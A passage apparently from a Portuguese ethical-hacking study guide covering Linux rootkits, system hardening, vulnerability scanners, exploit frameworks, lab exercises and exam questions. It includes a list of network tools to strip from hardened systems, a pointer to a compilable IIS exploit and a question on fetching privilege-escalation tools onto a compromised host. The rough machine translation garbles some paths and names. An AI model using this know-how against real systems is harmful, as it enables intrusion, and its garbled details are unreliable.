tradicionais, que substituem os binários, e os módulos carregáveis do kernel, que corrompem o kernel. Tradicionalmente, rootkits substituiu os binários, como ls, ifconfig, inetd, killall, login, netstat, passwd, pidof, ou ps com versões cavalo de Tróia.. Estas versões cavalo de Tróia. ter sido escrito para ocultar certos processos ou informações dos administradores. Rootkits deste tipo são detectáveis por causa da mudança no tamanho dos binários de cavalo de Tróia.. Ferramentas, como MD5sum e Tripwire, pode ser uma grande ajuda para descobrir esses tipos de hacks. O segundo tipo de rootkit é o módulo de kernel carregável (LKM). Um rootkit de kernel é carregado como um driver ou extensão do kernel. Como os rootkits de kernel corrompem o kernel, que podem fazer basicamente qualquer coisa, incluindo a detecção por métodos de muitos software. A melhor maneira de evitar esses rootkits é simplesmente recompilar o kernel sem suporte para LKMs. Embora o uso de rootkits é generalizada, muitosadministradores ainda não sabem muito sobre eles, portanto, alguns dos mais populares, como Flea, T0rm, e Adorm, são discutidos na lista a seguir: Flea. Uma vez instalado, Flea esconde ações do atacante do administrador, tornando mais fácil para o atacante para reinserir o sistema em uma data posterior. T0rm. Este rootkit é popular entre os hackers e é notável porque quebra netstat e em binário ps tem 31.336 bytes. Ambos os itens podem lhe dar pistas de que o rootkit foi instalado. Adorm. Ao contrário dos últimos dois rootkits, este não substitui binários do sistema, pois é um rootkit LKM. Adorm sistema intercepta chamadas e modifica-los quando necessário. Adorm seqüestra sistema chama e cria um invólucro em torno de cada chamada e depois limpa a saída. Dica. Certifique-se que você pode descrever um módulo de kernel carregável e como ele é diferente de um rootkit tradicional. Hackers não são os únicos a utilizar Rootkits A partir de junho de 2004, a Sony começou a proteger cópias alguns dos CDs da empresa de música mais populares do pop. Um dos esquemas de proteção contra cópia que usou é concebido por uma empresa chamada First 4 Internet. Esta peça de proteção contra cópia causou um enorme clamor de protesto por causa da maneira que ele instala e se esconde. O que causou este alvoroço é que o software funciona de uma forma que pode ser vista como subserviente e intrusivo. Não foi um anúncio da Sony que anunciou a presença deste software, foi por um usuário, Mark Russinovich, correndo RootkitRevealer em um de seus próprios sistemas. Quando alguém tenta reproduzir um CD de música protegida com este software, um rootkit oculto de programa de proteção de cópia é instalado. O programa esconde suas trilhas, então 18 você não pode desinstalá-lo e você não pode descobrir o que exatamente foi instalado. Porque ele é carregado de modo dissimulado, é possível que o software pode ser utilizado para lançar vírus e cavalos desenvolvidas por outros. Por causa da instalação de cautela, seu antivírus não seria capaz de detectar tal infecção. Como que para piorar as coisas, se você é capaz de encontrar e remover este software, ele desativa sua unidade de CD completamente e não pode mais ser usada. Se há alguma boa notícia, é que os computadores Linux não são afetados. Todos os rootkits permitem ataques de um invasor: Executar sniffers secretamente para capturar senhas. Trojan o binário de login para abrir um backdoor para a qualquer momento o acesso. Substituir programas utilitários que podem ser usados para detectar a atividade do hacker. Fornecer serviços públicos para a instalação de cavalos de tróia com os mesmos atributos de programas legítimos. Dica Conheça os tipos de rootkits e como eles funcionam. Como deve um hacker ético responder se ele acredita que um sistema foi comprometido e tem um rootkit instalado? Sua primeira ação será provavelmente mais para remover o hospedeiro infectado a partir da rede. Um atacante que sabe que ele foi descoberto pode enviar para o lixo o sistema em uma tentativa de cobrir seus rastros. Depois de ser isolado da rede, você pode então começar o processo de sistema de auditoria e realizar alguma pesquisa forense. Duas principais ferramentas podem ser usadas para auditar ataques rootkit suspeitos: Chkrootkit. Uma excelente ferramenta que pode ser usada para pesquisar sinais de um rootkit. Ele tem a capacidade de analisar binários de sistema para modificação. Rootkit Hunter. Outra ferramenta que analisa arquivos binários e sistema de rootkits conhecidos e desconhecidos. Encontrar o rootkit não é o mesmo que ver a justiça ser feita. A esmagadora maioria dos indivíduos que atacam sistemas ficam impune. A natureza global da Internet torna difícil rastrear hackers e trazê-los à justiça. Endurecendo o Linux Objetivo: Descrever como o Linux é seguro. 19 . Para evitar que o Linux seja hackeado, é importante endurecer o sistema e os serviços de segurança. Mais tarde, no capítulo, olhamos para ferramentas, como o Nessus e SAINT, que podem ser usadas para detectar formas que os atacantes podem entrar em seus sistemas Linux. Por enquanto, você precisa saber que após essas vulnerabilidades sejam identificadas, elas terão de ser abordadas. Isto pode significar correção, remoção ou endurecimento desses serviços. Colocação de um firewall na frente de servidores críticos também é um passo importante. Programas, como ipchains e iptables, também podem ser usados para filtrar e controlar o tráfego. Outra solução fácil de remover programas e serviços se eles não são necessários. Isto é conhecido como o princípio do menor privilégio. Alguns dos programas e serviços que são considerados não-essenciais podem incluir: Wget. Uma ferramenta não-interativa para buscar dados sobre HTTP / HTTPS e FTP. Finger. Permite recuperar informações básicas sobre um usuário da Internet ou de acolhimento. Navegador baseado em texto Lynx que suporta HTTP / HTTPS e FTP. Curl. Uma ferramenta como wget-que também suporta protocolos como o Telnet e Gopher. SCP. Transferência segura de arquivos usando o protocolo SSH. FTP. A linha de comando cliente de FTP. Telnet. O cliente Telnet Linux de linha de comando. TFTP. Trivial FTP. Ping. Também pode ser usado como uma ferramenta de DoS bastante rudimentar. Desligando serviços desnecessários, remover programas desnecessários, e aplicar os patches de segurança mais recentes é conhecido como endurecimento sistema. Ao tentar endurecer o seu sistema Linux, uma boa fonte de informação é as diretrizes da NSA de endurecimento, pois eles podem ser encontrados em www.nsa.gov/snac. Em seguida a discussão é chroot. Chroot basicamente coloca um programa em uma sandbox. O termo refere-se a caixa de areia no conceito de se limitar a atividade de um programa de aplicação e dos limites. Mais precisamente, ele redefine o diretório raiz ou/de um programa ou sessão de login. Tudo fora do diretório que você definir que chroot pode usar não existe até um programa estar em causa. Ele efetivamente prende um processo em uma parte do sistema de arquivo a partir do qual o processo não pode escapar. Devido a este bloqueio, é importante lembrar que todos os arquivos necessários a uma programa chroot para a funcionalidade adequada deve estar presente dentro da prisão. Chroot é comumente usado por programas como FTP, BIND, e-mail, e Apache. Envoltório (TCP Wrapper) TCP é outra ferramenta que pode ser usada para endurecer 20 Linux. Wietse Venema desenvolveu o programa TCP Wrapper para proteger os computadores contra ataques de hackers. Por muitos anos, este foi um dos métodos padrão utilizados para endurecer Linux. Está agora a ser substituídos por xinetd.d, que é considerada mais granular. Serviços de rede como Finger, FTP, rlogin, Telnet e TFTP pode ser configurado para uso TCP Wrapper. Mais informações sobre TCP Wrapper seguinte forma: TCP Wrapper permite que você especifique quais hosts têm permissão de acesso. TCP Wrapper é ativada por ter inetd que chama o daemon wrapper TCP. TCP Wrapper pode ser utilizado com TCP ou UDP. Dois arquivos são usados para verificar host.allow acesso e host.deny. O serviço funciona por TCP Wrapper inserindo-se entre o serviço e o mundo exterior. Você usa dois arquivos para a gestão de controle de acesso: hosts.allow. Lista todos os anfitriões com conectividade com o sistema que pode se conectar a um serviço específico. hosts.deny. funciona da mesma forma como a maioria das ACLs, porque se nãofor expressamente permitido, o acesso será negado. Tripwire é uma ferramenta valiosa que pode ser usada para proteger os sistemas Linux. Tripwire é o programa de integridade de arquivo mais comumente usado. Ele realiza verificação de integridade usando checksums criptográficas. Tripwire pode ajudar a identificar se alguma adulteração em arquivo ocorreu. É comumente usada com sistemas de IDS, porque pode ser utilizado para manter uma imagem do sistema durante um estado conhecido. Se rootkits ou outras alterações são feitas, Tripwire pode detectá-lo. Tripwire realiza sua magia, criando um valor de hash de sentido único para arquivos e diretórios. Este hash é armazenado, e em seguida, verifica periodicamente se novos são executados. O novo valor digitalizado é comparado com as que estão armazenadas. Se os dois valores não coincidirem, é definido um sinalizador e um administrador deve agir. O arquivo de política Tripwire é twpol.txt e pode ser encontrado no diretório / etc / arame. Dica Ser capaz de descrever as várias ferramentas utilizadas para proteger o Linux como Tripwire e TCP Wrapper. Finalmente, há logging. Embora o logging não irá impedir um ataque, ele é uma ferramenta útil para determinar o que aconteceu. Linux vai permitir a autenticação de sistemas, aplicações e protocolos. A saída da maioria dos loggings são mantidos no diretório / var / log. Se você está curioso sobre quem se conectou ao sistema, você pode usar o arquivo 21 lastlog. O arquivo / var / log / lastlog acompanha o último login de contas de usuário no sistema. Dica Saiba que registros de usuários estão localizados em / var / log /. Ferramentas Automatizadas de Avaliação. Nem sempre é possível realizar todos os testes de segurança manualmente. Muitas verificações, exames e correções são melhores realizadas por ferramentas automatizadas. São tantas descobertas novas de vulnerabilidades diária que é difícil manter-se. Se você não está usando um sistema automatizado de gestão de patches, como você sabe se todos os patches que deveriam na verdade ter sido instalados? Para combater esses problemas, os hackers éticos podem se beneficiar de ferramentas de avaliação automatizadas. Na maioria das situações, os hackers éticos vão usar uma combinação de ferramentas manuais e automatizadas. Ferramentas automatizadas permitem que o hacker ético possa cobrir um lote de terreno rapidamente e usar os resultados para mais mais inspeção manual. Toda uma gama de ferramentas de avaliação de segurança estão disponíveis. Algumas olham para o código fonte, as outras olham para aplicações, e outros ainda são desenvolvidas para olhar para sistemas inteiros ou redes. Essas soluções também têm usabilidade e interfaces diferentes, que variam de linha de comando nas interfaces GUI para produtos. Estes produtos também podem ser divididos em outras categorias, como alguns são gratuitos e outros são para compra ou que são executados através de um serviço de assinatura. Categorias ferramenta automatizada de Avaliação Objetivo: Discutir os diferentes tipos de instrumentos automatizados de avaliação. Você verá que não há falta de ferramentas de avaliação de vulnerabilidade no mercado. Estas ferramentas podem ser utilizadas para verificar se os computadores internos ou externos para detectar vulnerabilidades. Algumas dessas ferramentas são comerciais e pode exigir uma assinatura anual, enquanto outros são de código aberto e não vai custar nada para adquirir inicialmente. Todas estas ferramentas podem ser divididos em três categorias básicas, incluindo: Scanners de código fonte examinam o código fonte de um aplicativo. Scanners de aplicação examinam uma aplicação específica ou tipo de aplicação. Scanners sistema examinam sistemas inteiros ou redes de problemas de configuração ou de aplicação. Scanners de Código Fonte. 22 Scanners de código-fonte podem ser usados para ajudar em problemas de auditoria de segurança em código fonte. Scanners de código fonte podem detectar problemas, tais como buffer overflows, condições de corrida, escalação de privilégios, e entrada contaminada. Buffer overflows permitir que dados sejam escritos sobre partes do seu executável, que podem permitir que um usuário malicioso possa fazer praticamente qualquer coisa. Condições de corrida pode evitar que os sistemas de proteção de funcionam corretamente, ou negar a disponibilidade de recursos para os seus usuários legítimos. Escalação de privilégios ocorre quando o código é executado com privilégios maiores do que a do usuário executou. Contaminação de entrada permite que os dados potencialmente sem verificação através de suas defesas, possivelmente, qualificada como informação de erros já verificados. Algumas ferramentas usadas para encontrar estes tipos de problemas incluem: Flawfinder. Um programa Python que procura através de código fonte para potenciais falhas de segurança, listando potenciais falhas de segurança classificadas por risco, com as falhas potencialmente mais perigosas mostrada primeiro. Rough Auditing Tool for Security (RATS). RATS é escritA em C e contém externas regras DE coleções XML que se aplicam a cada idioma. StackGuard. Um compilador que constrói programas protegidos contra ataques de esmagamento de pilha. Ataques de esmagamento de Pilhas são um problema comum e grande para aplicações Linux e Windows. Após programas são compilados com StackGuard, eles são em grande parte imune ao ataque de esmagamento de pilha. Libsafe. Produz um método de proteção no transparente que tem a grande vantagem de não necessitar de aplicações para ser recompilado. Ela protege contra estouros de buffer e pode proteger aplicações para as quais o código fonte não está disponível. Scanners a Nível de Aplicação. Scanners para nível de aplicativo são o próximo tipo de scanner de vulnerabilidade examinados. Scanners de aplicativos fornecem testes contra candidaturas completas ou componentes, em vez de o código fonte. Este tipo de ferramenta de avaliação de vulnerabilidades olha como o programa está sendo executado. Scanners pode examinar sua configuração e olhar para os problemas. Alguns exemplos de nível de aplicativo incluem: Whisker. Um dos scanners mais antigos de aplicativos da Web ainda existente. Whisker tem a capacidade de verificar vulnerabilidades CGI, e vem com excelente documentação, que deve ser cuidadosamente revista. CGI é vulnerável na medida em que pode vazar informações do sistema que deve ser mantida em sigilo, e permite que usuários remotos possam executar comandos inadequados. Whisker exige Perl, por isso, se você estiver indo usá-lo, certifique-se de que você tem um ambiente apropriado Perl disponível. N-stealth. Esta é baseada em ferramenta GUI de avaliação de aplicação vem com um extenso banco de dados de mais de 30.000 vulnerabilidades e exploits. Ela fornece um relatório bem formatado que pode ser usado para analisar problemas como alto, médio ou baixo risco. 23 WebInspect. Outra ferramenta de vulnerabilidade em aplicativo web de escaneamento. Ela pode procurar por mais de 1.500 servidores da Web conhecidos e vulnerabilidades de aplicativos e realiza verificações em conjecturas inteligentes para senhas fracas. Nikto. Simples, fácil que usa programa script Perl de vulnerabilidade na internet que é rápida e completa. Ele suporta até mesmo escaneamento básico de porta para determinar se um servidor da Web está sendo executado em todas as portas abertas. AppDetective. Este scanner de nível de aplicativo realiza testes de penetração e auditoria. O Pen Test examinao seu sistema a partir do ponto de vista de um hacker. Ela não precisa de nenhuma permissão interna, o teste consulta o servidor e tenta recolher informações sobre o banco de dados está em execução, tais como a sua versão. O teste de auditoria pode detectar qualquer número de violações de segurança em seu servidor, de falta de senhas e contas de usuário facilmente descobertas para service packs desaparecidos e patches de segurança. Scanners a Nível de Sistemas. A última categoria de scanners é no nível do sistema. Estes tipos de scanners são versáteis uma vez que podem sondar sistemas completos e seus componentes, em vez de aplicações individuais. Um scanner de nível de sistema pode ser executado em um único endereço ou uma faixa de endereços e também pode testar a eficácia das medidas de segurança em camadas, como um sistema que corre atrás de um firewall. Nessus é um bom exemplo de um scanner de nível de sistema. Embora o scanner de nível de sistema não vai sondar o código-fonte de aplicações individuais, eles podem varrer redes inteiras em busca de uma variedade de vulnerabilidades. Ao realizar um sistema de hacker ético, scanners de nível pode ser usado remotamente. Isto é muito mais eficiente do que a tentativa de auditar a configuração de cada máquina individual. Scanner de sistema não é perfeito. Eles não podem auditar a fonte dos processos que são prestadoras de serviços, e devem contar com as respostas de um serviço para um número finito de sondas, o que significa que todas as entradas possíveis não podem ser razoavelmente testadas. Scanners de nível de sistema também pode travar sistemas. Muitos dos testes que podem executar são considerados perigosos e podem desligar do sistema. Apesar de muitas ferramentas deste tipo podem realizar evasão IDS, eles geralmente não são considerados ferramentas stealth. Portanto, se o objetivo do teste de segurança é passar despercebido, um scanner de nível de sistema pode não ser a melhor escolha para uma ferramenta. Provavelmente, o ponto mais importante sobre o scanners de nível de sistema é que eles não são um substituto para testes e exames mais completos. Eles são apenas uma ferramenta no kit do hacker ético. Eles não devem ser vistos como o único componente de um teste de penetração. O seu papel é complementar outras ferramentas e técnicas de testes. Código fonte e escaneamento de aplicativo também deve ser utilizados, quando aplicável. Uma avaliação de vulnerabilidade em profundidade consiste de todos os componentes que nós discutimos. Nada pode substituir completamente outra ferramenta. Vamos agora olhar para alguns dos scanners de nível mais popular do sistema: 24 Nessus. Um open source, compreensivo, scanner de vulnerabilidade de cross-platform com Command Line Interface (CLI) e interface gráfica do usuário (GUI). Nessus tem uma arquitetura cliente / servidor com clientes disponíveis para UNIX, Linux e Windows e servidores disponíveis para UNIX, Linux e Windows (comercial). Nessus é um poderoso, flexível e ferramenta de varredura de auditoria. É preciso um "nada por garantir" de abordagem básica. Por exemplo, uma porta aberta não significa necessariamente que um serviço eseja ativo. Nessus lhe diz o que está errado e fornece sugestões para a fixação de um determinado problema. Ele também suporta vários tipos de plugins, que vão desde um inofensivo para aqueles que podem derrubar um servidor. O menu Plugins é mostrada na Figura 5.3. Newt (Nessus para Tecnologia do Windows). A versão para Windows do Nessus, que tem as mesmas capacidades e verificações do Nessus. A versão gratuita só pode verificar a rede 25 local. A versão mais potente remota deve ser comprada. A página de configuração é mostrada na Figura 5.4. SAINT. Este scanner comercial proporciona à indústria varredura refernte a vulnerabilidade e identificação. Ele tem uma interface baseada na web, e as plataformas de implantação para este produto são Linux e UNIX. É certificado com Common Vulnerabilities and Exposures (CVE), aderente e permite priorizar e classificar vulnerabilidades que permitem determinar as questões de segurança mais importantes que você deve atacar primeiro. SARA. Este scanner de nível de sistema possui uma interface de linha de comando e GUI baseada na web. É uma aplicação freeware. Em vez de inventar um novo módulo para a ação nunca imagináveis, SARA é adaptada para a interface com outros produtos de código aberto. É considerado um scanner suave, o que significa que o escaneamento não apresenta um risco para a infra-estrutura da rede operacional. É compatível com a SANS Top 20, suporta referências CVE para as vulnerabilidades identificadas, e pode ser implantado em UNIX, Linux e Mac OS X. ISS Internet Scanner. Um produto comercial disponível a partir da Internet Security Systems. Sua plataforma de implementação é o Windows NT/2000/XP/2003. O pacote oferece extensa análise de vulnerabilidade e de identificação em todas as plataformas e dispositivos de rede via CLI e interfaces gráficas. Ele pode identificar mais de 1.300 tipos de dispositivos de rede. Após estes dispositivos tenham sido escaneados e identificados, Internet Scanner pode analisar a sua configuração, níveis de patch, sistemas operacionais e 26 aplicativos instalados. Então, ele pode gerar um relatório de identificação de vulnerabilidades. NetRecon. Um scanner comercial produzido pela Symantec. Ele fornece análise de vulnerabilidade e identificação. Ela tem a capacidade de aprender sobre a rede, uma vez que é um escaneador. Como exemplo, se encontra e quebra uma senha em um sistema, e vai tentar a mesma senha em outros sistemas. O aplicativo possui uma interface gráfica, e sua plataforma de implementação é o Windows NT/2000/XP. Retina. Um produto comercial da eEye Digital Security. Ele fornece varredura de vulnerabilidades em sistemas e dispositivos de rede. Ele é rápido e pode descobrir dispositivos com e sem fio. Retina tem uma interface gráfica, e sua plataforma de implementação é o Windows NT/2000/XP/2003. LANguard. Um scanner de serviço completo que relata as informações, tais como o nível de pacote de serviço de cada máquina, patches de segurança, as ações abertas, portas abertas, serviços / aplicativo ativo no computador, as principais entradas de registro, senhas fracas, usuários e grupos, e mais. VLAD. Um scanner de vulnerabilidade de código aberto. Escrito em Perl, Vlad é projetado para identificar vulnerabilidades no 10 SANS Top List. Ele foi testado em Linux, OpenBSD e FreeBSD. Há todos os tipos de ferramentas de avaliação de vulnerabilidade. Certifique-se de que você compreende as capacidades de cada um. Alguns das mais importantes são mostradas aqui: Nome Plataforma Abilidade Nessus Linux Open source, scanner a nivel de Sistema Flawfinder Linux Scanner de código Fonte Whisker Linux/Windows Scanner Aplicativo da Web RATS Linux Scanner de código Fonte N-Stealth Windows Scanner Aplicativo da Web NeWT Windows Scanner Nível de Sistema como Nessus Nikto Linux/Windows Scanner Aplicativosda Web em Perl SARA Linux/Mac Scanner Nível de Sistema LANGuard Windows Sacanner Comercial Nível de Sistema 27 Alerta de exame Você deve ser capaz de descrever os diferentes tipos de scanners e discutir como cada um é usado. Exploit automatizado e Ferramentas de Avaliação. Objetivo: Identificar a operação de ferramentas automatizadas de exploração Embora as ferramentas de avaliação recentemente discutidas podem fazer o seu trabalho muito mais fácil, o próximo conjunto de ferramentas a ser discutido será ainda maisintrigante. Estas ferramentas revelam onde o software de avaliação de vulnerabilidade está dirigido. Ferramentas como o Nessus e outros sempre tiveram a capacidade de integrar a verificação, avaliação e funções de relatório. As ferramentas na lista a seguir tomam essa funcionalidade para a próxima etapa com a integração da capacidade de explorar uma vulnerabilidade suspeita. Isso mesmo, essas ferramentas podem realmente oferecer exploração com um clique só. Esta seção discute a ferramenta de exploração Metasploit Framework gratuita, e depois passa para a tela, e IMPACT Core, que são dois produtos comerciais. Metasploit. Um teste de exploração tudo-em-um e ferramenta de desenvolvimento. Metasploit permite que você digite um endereço IP e o número da porta de uma máquina de destino e execute o exploit escolhido contra a máquina alvo com bastante facilidade. Esta é uma ferramenta de código aberto que pode ser comparada a CANVAS e IMPACTO Core. Metasploit foi desenvolvida usando Perl, linguagem C, e Python. Ele está disponível para Linux e Windows. Ela pode ter a vítima ligando de volta para você, abrindo um shell de comando na vítima, ou permitir que você execute o código na vítima. Depois de ter um Shell sobre a vítima, estara apenas a alguns passos de distância de fazer-se um usuário privilegiado. Um Framework exploração similar para Metasploit, exceto que este instrumento particular é apoiado por um dos maiores bancos de dados de exploits conhecidos. Ele executa fora do banco de dados ExploitTree que está disponível publicamente. É quase assustador examinar como é fácil esta ferramenta de usar até mesmo pelo novato completo. Um screenshot do Framework de exploração pode ser visto na Figura 5.5. Depois de ter utilizado um scanner de nível de sistema (como o Nessus) para encontrar uma vulnerabilidade, os ataques podem ser lançados em quatro passos simples: 1. Selecione seu exploit da Lista Exploit. 2. Especifique todos os parâmetros necessários. 3. Clique no botão Exploit. 4. Aproveite o shell que agora você tem no computador da vítima. 28 Dica Praticar o uso do Framework de Exploração para entender seu funcionamento. CANVAS. Uma ferramenta de ataque automatizada e pent test desenvolvida por Dave Aitel da Immunity.com. Ela foi escrito em Python, por isso é portátil para Windows e Linux. É uma ferramenta comercial que pode fornecer ao profissional de segurança uma capacidades de ataque e penetração. Como Metasploit, não é uma ferramenta tudo-em-um completa. Ela não faz uma descoberta inicial, de modo que você deve adicionar seus alvos manualmente. É mais limpa e mais avançada que Metasploit, mas exige que você compre uma licença. No entanto, isso não fornece atualizações e suporte. No geral, esta é uma ferramenta de primeira linha para alguém com experiência em avaliação de penetração. Core IMPACT. Uma avançada suite comercial de ferramentas de testes de penetração. Core IMPACT é um ponto de maturidade e um clique em exploração automatizada e ferramenta de avaliação. É um pacote completo com os passos do usuário através do processo, a partir de escaneamento e continuação até a fase de exploração e controle. Uma característica única do produto é que ele suporta uma característica conhecida como articulação. Basicamente um pivoting (giratório) que permite que uma máquina comprometida ser usada para comprometer uma outra. Esta ferramenta é útil para todos, desde o iniciante até o profissional de segurança. Dê uma olhada na interface mostrada na Figura 5.6. 29 Resumo Neste capítulo, você aprendeu sobre o Linux e como ele é um sistema operacional excelente para testes de segurança. Você também aprendeu que o Linux é um potencial alvo de ataques e, portanto, também deve ser corrigido e endurecido. Você também aprendeu a realizar tarefas básicas em um sistema Linux, como adicionar usuários e senhas de atualização. A importância da segurança da senha foi discutido, e lhe foi dada a oportunidade de ver a importância de senhas fortes. Você viu que o Linux, semelhante a Microsoft, exige uma defesa em profundidade para ser realmente seguro. Isso inclui a segurança física, a segurança da senha, segurança lógica e gerenciamento de patches para certificar-se de que para baixo nível de software está protegido contra vulnerabilidades conhecidas. Em seguida, você aprendeu sobre várias ferramentas de avaliação de segurança. As ferramentas de avaliação de segurança automáticas são valiosas, uma vez que pode testar um grande número de problemas com rapidez. Estes programas podem ser encontrados como código aberto e aplicações comerciais. Eles são uma ferramenta poderosa nas mãos de hackers éticos e do atacante. Finalmente uma categoria interessante de instrumentos de avaliação foram discutidos os quadros de exploração que agora estão se tornando mais maduros. Estas ferramentas permitem ao usuário encontrar uma vulnerabilidade e, em seguida, aponte e clique para explorar. Ferramentas como o Core Impact, Metasploit, e do Framework Exploração são exemplos de instrumentos de avaliação automatizadas. Capítulo 5 30 Aplique seu conhecimento. Você viu o quão úteis podem ser as ferramentas de avaliação automatizadas e como o Linux é uma boa plataforma para a realização de testes de segurança. Portanto, este aplicar o seu conhecimento terá que examinar algumas ferramentas de avaliação automatizada e um dos melhores bancos de dados de exploração on-line. Exercícios 5.1. Explorando o site SecurityForest.com SecurityForest.com é uma Floresta editada colaborativamente composta por árvores, que qualquer pessoa pode contribuir. Estas árvores saem de uma forma ordenada. As ferramentas e exploits que estão disponíveis para cada passo de um teste de penetração e para as explorações estão disponíveis para as redes, sistemas e aplicações. Tempo estimado: 10 minutos. 1- Abra o seu navegador e acesse www.securityforest.com. 2- Você vai notar à esquerda da tela que várias árvores estão listadas. 3- Clique na interface da árvore Exploit online. 4- Esta página terá links para aplicações, sistemas e redes. Clique no link aplicações. 5- Nesta página, você verá links para todas as aplicações que foram listados no banco de dados. Encontre o link para servidores web e clique no link para o aplicativo do IIS. 6- Sob o IIS, localize o código de exploração Jill-win32.c. Depois de encontrar o código, você pode vê-lo clicando no botão vista. Se você identificou um servidor IIS susceptíveis ao buffer overflow de impressora IPP, esta ferramenta pode ser compilada e executada para aproveitar essa vulnerabilidade. 7- Continue a explorar o SecurityForest site. Se você voltar para a página principal, você vai ver que há também um banco de dados de ferramentas sob o link árvore ferramenta que lista todas as ferramentas por categoria. 8- Por fim, clique no link Exploitation Framework. O Exploitation Framework é semelhante ao banco de dados Metasploit, exceto que ele aproveita a enorme quantidade de façanhas na árvore de exploração. Um filme está disponível demonstra que a ferramenta em: http://www.securityforest.com/wiki/index.php/Exploitation_Framework_Screenshots A ferramenta para baseada em Web Browser para Windows pode ser baixada em: 31 www.securityforest.com/wiki/index.php/Exploitation_Framework_Download. 5.2 Executando o Servidor Nessus Neste exercício, você irá executar o servidor Nessus e olhar para algumas de suas configurações. Tempo estimado: 30 minutos.1- Iniciar Knoppix STD. Os arquivos de instalação podem ser encontrados no CD ou pode ser baixado a partir de www.knoppix-std.org. 2- Abra uma janela de terminal e certifique-se que você está executando como root. Se não, digite su. 3- Você precisa adicionar um usuário para o servidor Nessus. Isto pode ser realizado, digitando Nessus- adduser do prompt. 4- Depois que um usuário é adicionado, você vai querer começar o daemon do servidor Nessus, digitando o seguinte: / etc / init.d início / nessusd. 5- Uma vez que o daemon é iniciado, você pode digitar nessus na linha de comando para iniciar o cliente Nessus. Você agora será solicitado a fazer login para Nessus. Digite o nome de usuário e senha que você criou no passo 3. 6- Clique em OK na página de aviso que alerta sobre plugins perigosos. Esta mensagem, basicamente, afirma que alguns plugins podem causar alguns servidores para falhar ou travar. Se você fosse para executar essa ferramenta em uma rede de produção, isto é algo que você gostaria de discutir com a administração antes de tomar uma decisão sobre como proceder. 7- Navegue pelos parâmetros disponíveis em cada guia. Estes incluem: Plugins, Prefs, Opções de escaneamento, Seleção Target, e do usuário. 8- Sob a guia de rede, digite o dispositivo de destino que você gostaria de escanear. Certifique-se de que este é um sistema que você tem permissão para executar uma varredura. Iniciar a avaliação, clicando em Iniciar o Scan. 9- Na página de configuração de atualizações obter arquivos, selecione Sim, fazer o download dos arquivos de instalação atualizados (recomendado) e clique em Avançar. Você precisa se registrar para obter atualizações. Atualizações são de sete dias atrás para não-clientes pagantes. 10- Após a verificação esteja concluída, revise os resultados. Esta informação pode ser adicionada ao seu relatório de teste indicando ter sido um ensaio real. 11- O próximo passo de uma avaliação real seria patch, endurecer e atualizar os sistemas que foram encontrados de serem vulneráveis. 32 Questões de Preparação ao Exame. 1. Como pode em uma lista de usuários Linux que processos estão funcionando, se ele suspeita que algo tenha sido carregado que não for aprovado? A. netstat B. ls C. echo D. os 2-Você foi contratado por Bob Burgers para escanear sua rede em busca de vulnerabilidades. Ele gostaria que você executasse uma verificação em nível de sistema. Qual dos seguintes programas você deve usar? A. Flawfinder B. N-Stealth C. SARA D. Whisker 3- Você foi capaz de obter uma janela de terminal aberto em um servidor Linux remoto. Agora você precisa usar uma linha de comando em um navegador para baixar uma ferramenta de escalonamento de privilégios. Qual dos seguintes vai funcionar? A. TFTP B. Lynx C. Explorer D. Firefox 4- Enquanto a mexia com o computador Linux de seu companheiro de quarto, você acessou seu passwd. Aqui está o que você encontrou. root:x:0:0:root:/root:/bin/bash bin:x:1:1:bin:/bin: daemon:x:2:2:daemon:/sbin: Onde está o root da senha? A. Nenhuma senha foi definida. B. A senha foi sombreada (Shadow). 33 C. A senha não é visível porque você não está logado como root. D. A senha não é neste arquivo, é no SAM. 5- Qual dos seguintes permitirá que você defina o usuário para acesso completo, o grupo só de leitura, e todos os outros não têm acesso? A. chmod 777 B. chroot 777 C. chmod 740 D. chroot 740 6- Seu chefe de equipe lhe pediu para fazer alterações absolutas para permissões de um arquivo. Qual dos seguintes seria correto? A. chroot a+rwx B. Chmod a+rwx C. chroot 320 D. Chmod 320 7- Qual dos seguintes não é um grupo de usuário válido no Linux? A. System users B. Super users C. Guests D. Normal users 8- Você foi explorar os arquivos e estrutura de diretório de servidor Linux novo. Quais são as entradas do arquivo / etc hosts / no arquivo registrado? A. O endereço IP, a máscara, e negar ou permitir o comunicado. B. O endereço IP e o status de endereços aprovados ou negados. C. O endereço IP, a máscara de sub-rede e gateway padrão. D. O endereço IP, o nome da máquina, e nenhum nome alternativo. 9- No prompt do seu servidor Linux, você entra cat / etc / passwd. Na linha de saída seguinte, o que é a função do 100? A . A ID de usuário 34 B. O usuário 100 criado. C. A identificação de grupo. D. Um valor binário. 10- Onde é que um atacante localiza o arquivo de senha do sistema em uma máquina Linux, que é restrita a raiz e contém senhas criptografadas? A. /etc/hosts B. /etc/shadow C. /etc/passwd D. /etc/inetd.conf 11- Nas versões mais modernas de uso Linux qual dos seguintes padrões de senha de criptografia por default? A. MD5 B. DES C. AES D. Diffie Hellman 12- Qual dos seguintes é um rootkit LKM? A . Flea B. T0rm C. Adore D. Chkroot 13- Como pode ajudar a evitar a Tripwire contra cavalos de Tróia e rootkits? A. Ele ajuda você pegar alterações utilitários de sistema. B. Ele endurece aplicações contra ataques. C. Ele verifica código fonte da aplicação e encontra buffer overflows potenciais. D. Ele constrói uma prisão que só dá hackers acesso a algumas pastas pré-definidas. 14- Qual dos seguintes permitirá que você defina o usuário para acesso completo, o grupo de 35 leitura e de escrita, e todos os outros para acesso de leitura? A. chmod 746 B. chroot 644 C. chmod 764 D. chroot 746 15- Quais dos seguintes programas podem ser usados para construir uma prisão em torno de um programa, como o FTP, para evitar que hackers tenham acesso a pastas e arquivos não autorizados? A. Tripwire B. Chmod C. Loadable kernel modules D. Chrooting
Compartilhar